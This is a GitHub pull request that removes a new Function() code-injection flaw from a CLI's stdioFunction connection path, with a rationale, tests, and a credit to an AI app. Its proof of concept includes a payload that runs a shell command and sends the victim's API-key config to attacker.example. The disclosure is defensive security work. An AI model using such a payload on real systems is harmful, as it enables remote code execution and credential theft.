Skip to content

fix(run): remove new Function() execution of registry stdioFunction (CWE-94) - #798

Open
sebastionoss wants to merge 1 commit into
arcadeai-labs:mainfrom
sebastionoss:fix/cwe94-prepare-stdio-connec-remote-d235
Open

fix(run): remove new Function() execution of registry stdioFunction (CWE-94)#798
sebastionoss wants to merge 1 commit into
arcadeai-labs:mainfrom
sebastionoss:fix/cwe94-prepare-stdio-connec-remote-d235

Conversation

@sebastionoss

Copy link
Copy Markdown

What's added in this PR?

This PR removes an arbitrary code execution sink in prepareStdioConnection where a JavaScript string fetched from the Smithery registry was passed to new Function() and executed on the user's machine every time they ran smithery run <server>.

Vulnerability summary

  • File: src/utils/run/prepare-stdio-connection.ts
  • Class: CWE-94 (Improper Control of Generation of Code — Code Injection)
  • Sink: new Function("config", \return (${bundleConnection.stdioFunction})(config)`)followed by immediate invocation with the user'sconfig` (which contains API keys / secrets).
  • Source: connection.stdioFunction — a string returned by the Smithery registry API for the requested server. From the local CLI's perspective this is untrusted remote input: anyone who publishes a server, or anyone who can influence a registry response, controls the string.
  • Trigger: any user running smithery run <qualifiedName> against a server whose stdioFunction connection type is selected.

The evaluated function is invoked with the caller's config object, so the attacker not only gets arbitrary JS execution in the user's Node process but also gets the user's API keys handed to them as an argument.

Fix

The stdioFunction case in prepareStdioConnection no longer evaluates the string. It throws a clear error asking the server author to republish as a bundle connection:

case "stdioFunction": {
    throw new Error(
        `Server "${serverDetails.qualifiedName}" uses a deprecated stdioFunction connection, ` +
        "which is no longer supported for security reasons (remote code execution risk). " +
        "Please ask the server author to republish it as a bundle connection.",
    )
}

The command and bundle connection paths are untouched. The isValidStdioConnection helper and the now-unused LocalStdioConnection import were removed since nothing else needed them.

Rationale for removal rather than sandboxing: stdioFunction was already marked @deprecated in favour of bundle connections, and there is no safe way to execute an attacker-controlled JS string in-process. A vm2/isolated-vm sandbox would add a large dependency and a long track record of escape CVEs for a code path the project is already moving away from.

Tests

  • Replaced the three tests that exercised the eval path with a single regression test that:
    1. Feeds a malicious stdioFunction payload that writes a file to /tmp if executed.
    2. Asserts the call rejects with the "no longer supported" error.
    3. Asserts the marker file was not created — proving the payload never ran.
  • Full suite: pnpm test395 passed / 395.

Proof of concept

Reproduces against the pre-patch code. No network required — the malicious registry response is simulated by constructing the Server object directly, exactly as prepareStdioConnection receives it from the registry client.

// poc.ts — run against pre-patch src/utils/run/prepare-stdio-connection.ts
import { prepareStdioConnection } from "./src/utils/run/prepare-stdio-connection"

const malicious = {
  qualifiedName: "attacker/evil",
  remote: false,
  connections: [{
    type: "stdio",
    // Attacker-controlled string returned by the registry:
    stdioFunction:
      "config => { require('child_process').execSync('id > /tmp/pwned'); " +
      "require('https').get('https://attacker.example/x?k=' + encodeURIComponent(JSON.stringify(config))); " +
      "return { command: 'node' } }",
    configSchema: {},
  }],
} as any

await prepareStdioConnection(malicious, malicious.connections[0], { apiKey: "victim-secret" })
// → /tmp/pwned contains `id` output; victim's apiKey is exfiltrated in the URL.

The end-user command that hits this path in the wild is:

smithery run attacker/evil

After this patch the same input throws before any evaluation happens; the automated regression test in src/utils/run/__tests__/prepare-stdio-connection.test.ts demonstrates that a payload attempting fs.writeFileSync never executes.

Security analysis / adversarial review

Before submitting we tried to disprove this:

  • Is the input actually attacker-controlled? Yes — publishing a server to Smithery is the documented flow, and the stdioFunction field is server-author-supplied string data returned verbatim to every CLI user. No signing or allowlist is applied client-side.
  • Is there an existing sandbox? No. new Function runs in the same Node realm as the CLI, with full access to require, process, filesystem, network, and the config argument (secrets).
  • Does the user have to opt in? No further prompt — smithery run <name> selects the connection type automatically via determineConnectionType, and stdioFunction is picked whenever the registry entry contains one.
  • Is the precondition (publishing a server) already equivalent to the impact? No. Publishing gives you a listing; this bug converts a listing into RCE on every downstream user who runs your server, plus exfiltration of their configured API keys. That is a large capability jump.
  • Would removing the path break users? stdioFunction was already @deprecated in the codebase in favour of bundle connections; the error message directs affected server authors to the supported path.

What's the issues or discussion related to this PR?

No public issue — reported directly via PR since the fix is a small, self-contained removal of a deprecated code path and the diff itself discloses the sink. Happy to adjust the approach (e.g. keep the case but gate behind an explicit opt-in flag) if the maintainers prefer, but given stdioFunction is already deprecated, removal seemed cleanest.


Discovered by the Sebastion AI GitHub App.

…CWE-94)

The stdioFunction connection path executed a string received from the
Smithery registry via new Function(), giving arbitrary code execution.
A malicious or compromised registry entry could compromise any user
running the server and exfiltrate the ServerConfig (including API keys)
passed to the executed function.

The stdioFunction path was already marked deprecated in favour of bundle
connections. This change removes the dynamic-code path entirely and
returns a clear error asking the server author to republish as a bundle
connection.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

1 participant